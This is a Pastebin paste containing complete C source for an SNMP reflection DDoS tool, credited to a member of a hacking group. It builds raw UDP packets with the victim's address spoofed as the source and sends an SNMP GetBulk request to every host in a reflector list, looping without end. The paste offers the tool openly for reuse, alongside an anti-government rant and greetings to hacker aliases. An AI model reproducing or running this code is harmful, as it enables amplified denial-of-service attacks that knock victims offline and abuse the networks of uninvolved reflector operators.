Advertisement
th3b1gw0rm

SNMP Refelector DDOS

May 26th, 2014
473
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.85 KB | None | 0 0
  1.  
  2.  
  3. /*
  4. Exploit Title: SNMP Refelector DDOS
  5. Author: Hex00010
  6. Tested on: Windows - *needs updating for Linux*
  7. Contact: uat666@hotmail.com
  8. */
  9.  
  10.  
  11.  
  12. #include <stdio.h>
  13. #include <netinet/ip.h>
  14. #include <sys/socket.h>
  15. #include <arpa/inet.h>
  16. #include <netinet/udp.h>
  17. #include <string.h>
  18. #include <stdlib.h>
  19. #include <errno.h>
  20. #include <sys/types.h>
  21. #include <asm/types.h>
  22.  
  23. /*
  24. The Government is a Corrupted Organization
  25. We are here to show the world the truth about them
  26. You dont like it - go **** your self
  27. Anarchy For Life Bitch
  28. ===========================================================================​​====
  29. THIS CODE IS MEANT TO STAY PRIVATE - DO NOT SHARE WITH ANYONE - It Is Now Public you Can repost this BUT give Credits
  30. ===========================================================================​​====
  31. by Hex00010 - TeaMp0ison - 2011
  32.  
  33.  
  34. */
  35.  
  36. char payload[] = \"\\x30\\x23\\x02\\x01\\x01\\x04\\x06\\x70\\x75\\x62\\x6c\\x69\\x63\\xa5\\x16\\x02\\x02\\x4e\\x47\"
  37. \"\\x02\\x01\\x00\\x02\\x02\\x08\\xca\\x30\\x09\\x30\\x07\\x06\\x03\\x2b\\x06\\x01\\x05\\x00\";
  38.  
  39. struct iphdr ip_head;
  40. struct udphdr udp_head;
  41. struct sockaddr_in target;
  42.  
  43. struct udp_pseudo /*the udp pseudo header*/
  44. {
  45. unsigned int src_addr;
  46. unsigned int dst_addr;
  47. unsigned char dummy;
  48. unsigned char proto;
  49. unsigned short length;
  50. } pseudohead;
  51.  
  52. struct help_checksum /*struct for checksum calculation*/
  53. {
  54. struct udp_pseudo pshd;
  55. struct udphdr udphd;
  56. } udp_chk_construct;
  57.  
  58. unsigned short in_cksum(unsigned short *addr,int len)
  59. {
  60. register int nleft=len;
  61. register unsigned short *w=addr;
  62. register int sum=0;
  63. unsigned short answer=0;
  64.  
  65. while(nleft>1)
  66. {
  67. sum+=*w++;
  68. nleft-=2;
  69. }
  70. if(nleft==1)
  71. {
  72. *(u_char *)(&answer)=*(u_char *)w;
  73. sum+=answer;
  74. }
  75. sum=(sum >> 16)+(sum & 0xffff);
  76. sum+=(sum >> 16);
  77. answer=~sum;
  78. return(answer);
  79. }
  80.  
  81. void send_udp(int sfd,unsigned int src,unsigned short src_p,
  82. unsigned int dst,unsigned short dst_p,char *buffer,int len)
  83. {
  84. char *packet;
  85. int i;
  86.  
  87. /*Prepare IP header*/
  88. ip_head.ihl = 5; /*headerlength with no options*/
  89. ip_head.version = 4;
  90. ip_head.tos = 22;
  91. ip_head.tot_len = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
  92. ip_head.id = htons(30000 + (rand()%100));
  93. ip_head.frag_off = 0;
  94. ip_head.ttl = 64;
  95. ip_head.protocol = IPPROTO_UDP;
  96. ip_head.check = 0; /*Must be zero for checksum calculation*/
  97. ip_head.saddr = src;
  98. ip_head.daddr = dst;
  99.  
  100. ip_head.check = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));
  101.  
  102. /*Prepare UDP header*/
  103. udp_head.source = htons(src_p);
  104. udp_head.dest = htons(dst_p);
  105. udp_head.len = htons(sizeof(struct udphdr)+sizeof(payload)-1);
  106. udp_head.check = 0;
  107.  
  108. /*Assemble structure for checksum calculation and calculate checksum*/
  109. pseudohead.src_addr=ip_head.saddr;
  110. pseudohead.dst_addr=ip_head.daddr;
  111. pseudohead.dummy=0;
  112. pseudohead.proto=ip_head.protocol;
  113. pseudohead.length=htons(sizeof(struct udphdr)+sizeof(payload)-1);
  114. udp_chk_construct.pshd=pseudohead;
  115. udp_chk_construct.udphd=udp_head;
  116. packet=malloc(sizeof(struct help_checksum)+sizeof(payload)-1);
  117. memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum)); /*pre-assemble packet for*/
  118. memcpy(packet+sizeof(struct help_checksum),buffer,sizeof(payload)-1); /*checksum calculation*/
  119. udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+sizeof(payload)-1);
  120. free(packet);
  121.  
  122. /*Assemble packet*/
  123. packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
  124. memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
  125. memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr));
  126. memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,sizeof(payload)-1);
  127.  
  128. /*Send packet*/
  129. target.sin_family = AF_INET;
  130. target.sin_addr.s_addr= ip_head.daddr;
  131. target.sin_port = udp_head.source;
  132. sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1,0,
  133. (struct sockaddr *)&target,sizeof(struct sockaddr_in));
  134. free(packet);
  135. }
  136.  
  137. int main(int argc, char *argv[]) {
  138. int i=0;
  139. unsigned int srcip, dstip;
  140. char *data;
  141. data=malloc(sizeof(payload)+sizeof(payload)-1);
  142. memcpy(data, payload, sizeof(payload)-1);
  143. char* aline = calloc(16, sizeof(char) );
  144.  
  145. if(argc < 3) {
  146. printf(\"By Hex00010 - TeaMp0ison - 2011\\n\", argv[0]);
  147. exit(1);
  148. }
  149.  
  150. if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) /*open sending socket*/
  151. {
  152. perror(\"socket\");
  153. exit(1);
  154. }
  155.  
  156. for(;;) {
  157. FILE* fp = fopen( argv[2], \"r\" );
  158. /* skip fopen checking because its not really necessary for what we\'re doing*/
  159.  
  160. while ( !feof(fp) )
  161. {
  162. fscanf( fp, \"%s\\n\", aline );
  163. srcip = inet_addr(argv[1]);
  164. dstip = inet_addr(aline);
  165. send_udp(i,srcip,161,dstip,161,payload,sizeof(payload)-1);
  166. memset( aline, 0, 16 );
  167. }
  168. fclose(fp);
  169. }
  170. return 0;
  171. }
  172.  
  173. /*
  174. Greetz: Trick aka SayWhat? , Luit , Ins^ane, joepie91, Sabu , Anonymous,darkgt4
  175. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement